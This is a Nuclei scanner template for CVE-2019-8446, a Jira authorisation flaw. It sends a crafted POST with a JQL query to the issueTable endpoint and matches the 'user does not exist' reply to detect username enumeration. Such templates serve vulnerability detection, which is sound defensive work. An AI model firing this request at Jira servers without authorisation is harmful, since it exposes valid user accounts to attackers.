nuclei-templates/cves/2019/CVE-2019-8446.yaml

id: CVE-2019-8446

info:
  name: Jira Improper Authorization
  description: The /rest/issueNav/1/issueTable resource in Jira before version 8.3.2 allows remote attackers to enumerate usernames via an incorrect authorisation check.
  author: dhiyaneshDk
  severity: medium
  tags: cve,cve2019,jira
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.30
    cve-id: CVE-2019-8446
    cwe-id: CWE-863
  reference:
    - https://jira.atlassian.com/browse/JRASERVER-69777
    - https://www.talosintelligence.com/vulnerability_reports/TALOS-2019-0839

requests:
  - raw:
      - |
        POST /rest/issueNav/1/issueTable HTTP/1.1
        Host: {{Hostname}}
        Connection: Close
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
        X-Atlassian-Token: no-check
        Accept-Encoding: gzip, deflate
        Accept-Language: en-US,en;q=0.9

        {'jql':'project in projectsLeadByUser("{{randstr}}")'}

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "the user does not exist"
        part: body
      - type: status
        status:
          - 200